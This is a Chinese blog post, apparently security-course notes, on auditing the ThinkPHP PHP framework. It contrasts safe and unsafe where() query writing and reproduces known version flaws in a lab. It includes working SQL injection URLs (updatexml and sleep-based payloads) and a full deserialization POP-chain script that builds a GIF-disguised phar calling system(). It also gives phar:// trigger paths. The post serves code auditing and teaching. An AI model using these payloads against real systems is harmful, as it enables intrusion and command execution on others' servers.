PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

Ethan医生1周前代码审计20


#框架审计总结方向:

1、版本不安全写法怎么检测

-本地复现版本写法对比

-参考官方开发手册写法

2、版本自身的漏洞怎么检测

-平常多关注此类框架漏洞

-配合黑盒工具检测找入口

https://github.com/Mochazz/ThinkPHP-Vuln

https://github.com/hughink/Thinkphp-All-vuln

3、版本自身的漏洞怎么利用

根据漏洞提示找满足条件实现调用

满足条件:对应的函数点和可控变量

 

#框架审计-ThinkPHP5-不安全写法&版本漏洞

搭建环境:ThinkPHP V5.1.29 Phpstudy_Pro PHP7.3 Apache Mysql

开发参考:https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点,

2、参考开发手册学习文件目录含义,

3、参考开发手册学习寻找入口目录,

4、参考开发手册学习寻找URL对应文件,

5、参考开发手册学习如何开启调试模式,

6、参考开发手册学习官方写法和不安全写法。

开启调试模式:/config/app.php

'app_debug' => true,

'app_trace' => true,


//官方写法

public function login(Request $request)

{

//index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

$id=$request->param('id');

$data=Db::table('cw_admin')->where('id',$id)->find();

return $data['user'].'|'.$data['pass'];

}


//不安全写法

public function login1(Request $request)

{

//index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

$id=$request->param('id');

$data=Db::table('cw_admin')->where("id = $id")->find();

return $data['user'].'|'.$data['pass'];

}


//版本漏洞

public function file_check(Request $request)

{

//index.php/index/xiaodi/file_check?f=phar://./1.png

$filename=$request->param('f');

file_exists($filename);

}

 

 

#框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql

1、查看版本-thinkphp/base.php(搜version找)

define('THINK_VERSION', '5.0.24');

2、找不安全写法-搜where找拼接&黑盒工具

文件:application/bbs/controller/User.php

方法:xiaoxidel

参数:ids id

3、application/bbs/controller/User.php

index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

问题在where语句是直接拼接SQL-where("id ={$id}")

如改为数组的传参就能修复此处问题-where("id",$id)

 

黑盒工具-入口不安全写法-SQL注入

文件:application/bbs/controller/User.php

方法:home

参数:ids id

/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

 

 

#框架审计ThinkPHP3-框架漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql

1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

const THINK_VERSION = '3.2.3';

 

2、版本漏洞-SQL注入

https://www.freebuf.com/articles/web/345544.html

 

3、找利用点-搜实现关键字

Application/Admin/Controller/ArticleController.class.php

$data = M('Article')->find(I('id'));

 

4、Poc构造-利用监控组合注入

/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#

 

#框架审计-ThinkPHP5-框架漏洞-反序列化:

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql

1、查看版本-thinkphp/library/think/App.php(搜version找)

const VERSION = '5.1.41 LTS';

 

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

<?php

namespace think\process\pipes {

class Windows

{

private $files;

public function __construct($files)

{

$this->files = array($files);

}

}

}

 

namespace think\model\concern {

trait Conversion

{

protected $append = array("smi1e" => "1");

}

 

trait Attribute

{

private $data;

private $withAttr = array("smi1e" => "system");

 

public function get()

{

$this->data = array("smi1e" => "notepad");

}

}

}

namespace think {

abstract class Model

{

use model\concern\Attribute;

use model\concern\Conversion;

}

}

 

namespace think\model{

use think\Model;

class Pivot extends Model

{

public function __construct()

{

$this->get();

}

}

}

 

namespace {

 

$conver = new think\model\Pivot();

$a = new think\process\pipes\Windows($conver);

 

 

$phar = new Phar('x.phar');

$phar -> stopBuffering();

$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$phar -> addFromString('test.txt','test');

$phar -> setMetadata($a);

$phar -> stopBuffering();

}

?>

 

3、找利用点-file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

/admin.php/update/rmdirr.html?dirname=phar://./public/upload/menubg/6543297dcccb9.jpg


标签: PHPThinkPHP

相关文章

开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现

#PHP-框架安全-Thinkphp&Laravel#Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。1、CVE-2021-3129 RCELar...

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。